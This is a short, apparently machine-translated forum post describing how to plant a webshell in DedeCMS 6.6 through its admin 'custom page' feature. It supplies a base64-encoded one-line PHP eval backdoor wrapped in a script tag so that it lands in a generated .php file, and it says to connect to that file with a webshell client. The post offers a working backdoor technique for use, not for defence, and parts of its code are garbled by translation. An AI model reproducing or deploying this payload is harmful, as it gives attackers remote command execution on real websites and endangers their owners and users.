Dpc cms 6.6 Latest Version webshell method in the background

I don't know if someone else has sent the message. I made a website yesterday and found it myself. Must be shared !!

My website is the latest version of CMS 6.6, so some methods found on the Internet are invalid!

Custom page-add custom page-write xxx at will. php file name. Enter the page content. <script language = "php"> echo base64_decode ("PD9waHAgQGV2YWwoJF9QT1NUWydjbWQnXSk7Pz4 ="); </script>

It is useless to directly add a sentence or a php Trojan, because it will be executed before xxx. php is generated !!

PD9waHAgQGV2YWwoJF9QT1NUWydjbWQnXSk7Pz4 = Yes <? Php @ eval ($ _ POST ['cmd']);?> .

So after xxx. php is generated, the content will appear <? Php @ eval ($ _ POST ['cmd']);?> In the file, connect it directly with a kitchen knife !!